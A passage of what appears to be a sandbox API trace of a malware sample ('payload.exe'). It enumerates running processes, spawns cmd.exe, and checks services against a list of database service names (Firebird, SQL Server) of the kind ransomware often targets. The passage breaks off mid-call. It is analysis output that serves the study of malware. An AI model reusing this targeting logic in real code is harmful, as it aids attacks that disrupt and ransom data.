Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0146.407] lstrlenW (lpString="csrss.exe") returned 9 [0146.407] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0146.407] lstrlenW (lpString="wininit.exe") returned 11 [0146.407] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0146.408] lstrlenW (lpString="csrss.exe") returned 9 [0146.408] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0146.408] lstrlenW (lpString="winlogon.exe") returned 12 [0146.408] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0146.409] lstrlenW (lpString="services.exe") returned 12 [0146.409] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0146.410] lstrlenW (lpString="lsass.exe") returned 9 [0146.410] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.410] lstrlenW (lpString="svchost.exe") returned 11 [0146.410] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0146.411] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0146.411] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0146.411] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0146.411] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.412] lstrlenW (lpString="svchost.exe") returned 11 [0146.412] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0146.413] lstrlenW (lpString="dwm.exe") returned 7 [0146.413] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.414] lstrlenW (lpString="svchost.exe") returned 11 [0146.414] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.414] lstrlenW (lpString="svchost.exe") returned 11 [0146.414] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.415] lstrlenW (lpString="svchost.exe") returned 11 [0146.415] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.415] lstrlenW (lpString="svchost.exe") returned 11 [0146.415] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.416] lstrlenW (lpString="svchost.exe") returned 11 [0146.416] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.416] lstrlenW (lpString="svchost.exe") returned 11 [0146.416] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.417] lstrlenW (lpString="svchost.exe") returned 11 [0146.417] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.418] lstrlenW (lpString="svchost.exe") returned 11 [0146.418] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.418] lstrlenW (lpString="svchost.exe") returned 11 [0146.418] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.419] lstrlenW (lpString="svchost.exe") returned 11 [0146.419] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0146.419] lstrlenW (lpString="spoolsv.exe") returned 11 [0146.419] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.420] lstrlenW (lpString="svchost.exe") returned 11 [0146.420] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0146.420] lstrlenW (lpString="audiodg.exe") returned 11 [0146.420] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0146.421] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0146.421] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0146.422] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0146.422] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0146.422] lstrlenW (lpString="Memory Compression") returned 18 [0146.422] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0146.423] lstrlenW (lpString="sihost.exe") returned 10 [0146.423] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.423] lstrlenW (lpString="svchost.exe") returned 11 [0146.423] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0146.424] lstrlenW (lpString="taskhostw.exe") returned 13 [0146.424] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0146.424] lstrlenW (lpString="msoia.exe") returned 9 [0146.425] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0146.425] lstrlenW (lpString="explorer.exe") returned 12 [0146.425] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0146.426] lstrlenW (lpString="SearchUI.exe") returned 12 [0146.426] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0146.426] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0146.426] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0146.427] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0146.427] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0146.428] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0146.428] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0146.428] lstrlenW (lpString="payload.exe") returned 11 [0146.429] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0146.429] lstrlenW (lpString="dllhost.exe") returned 11 [0146.429] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0146.430] lstrlenW (lpString="dllhost.exe") returned 11 [0146.430] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0146.430] lstrlenW (lpString="payload.exe") returned 11 [0146.430] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0146.431] lstrlenW (lpString="cmd.exe") returned 7 [0146.431] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf88, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0146.431] lstrlenW (lpString="conhost.exe") returned 11 [0146.431] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xf7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0146.432] lstrlenW (lpString="cmd.exe") returned 7 [0146.432] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xf98, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0146.432] lstrlenW (lpString="conhost.exe") returned 11 [0146.433] Process32NextW (in: hSnapshot=0x2f8, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xf98, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0146.433] CloseHandle (hObject=0x2f8) returned 1 [0146.433] Sleep (dwMilliseconds=0x1f4) [0147.315] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69dab0 [0147.315] EnumServicesStatusExW (in: hSCManager=0x69dab0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0) returned 0 [0147.316] GetLastError () returned 0xea [0147.316] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1c30) returned 0x6f5958 [0147.316] EnumServicesStatusExW (in: hSCManager=0x69dab0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6f5958, cbBufSize=0x1c30, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6f5958, pcbBytesNeeded=0x259ff3c, lpServicesReturned=0x259ff54, lpResumeHandle=0x0) returned 1 [0147.317] CloseServiceHandle (hSCObject=0x69dab0) returned 1 [0147.317] lstrlenW (lpString="Appinfo") returned 7 [0147.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0147.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0147.317] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0147.317] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0147.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0147.317] lstrlenW (lpString="AppXSvc") returned 7 [0147.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0147.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0147.317] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0147.317] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0147.317] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0147.318] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0147.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0147.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0147.318] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0147.318] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0147.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0147.318] lstrlenW (lpString="Audiosrv") returned 8 [0147.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0147.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0147.318] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0147.318] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0147.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0147.318] lstrlenW (lpString="BFE") returned 3 [0147.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0147.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0147.318] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0147.318] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0147.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0147.318] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0147.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0147.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0147.318] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0147.318] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0147.318] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0147.318] lstrlenW (lpString="CDPSvc") returned 6 [0147.318] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0147.318] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0147.318] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0147.319] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0147.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0147.319] lstrlenW (lpString="ClickToRunSvc") returned 13 [0147.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0147.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0147.319] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0147.319] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0147.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0147.319] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0147.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0147.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0147.319] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0147.319] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0147.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0147.319] lstrlenW (lpString="CryptSvc") returned 8 [0147.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0147.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0147.319] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0147.319] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0147.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0147.319] lstrlenW (lpString="DcomLaunch") returned 10 [0147.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0147.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0147.319] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0147.319] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0147.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0147.319] lstrlenW (lpString="DeviceAssociationService") returned 24 [0147.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0147.319] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0147.319] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0147.319] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0147.319] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0147.319] lstrlenW (lpString="Dhcp") returned 4 [0147.319] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0147.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0147.320] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0147.320] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0147.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0147.320] lstrlenW (lpString="Dnscache") returned 8 [0147.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0147.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0147.320] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0147.320] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0147.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0147.320] lstrlenW (lpString="DPS") returned 3 [0147.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0147.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0147.320] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0147.320] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0147.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0147.320] lstrlenW (lpString="DusmSvc") returned 7 [0147.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0147.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0147.320] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0147.320] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0147.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0147.320] lstrlenW (lpString="EventLog") returned 8 [0147.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0147.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0147.320] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0147.320] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0147.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0147.320] lstrlenW (lpString="EventSystem") returned 11 [0147.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0147.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0147.320] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0147.320] lstrcmpiW (lpString1="mssqlserver", 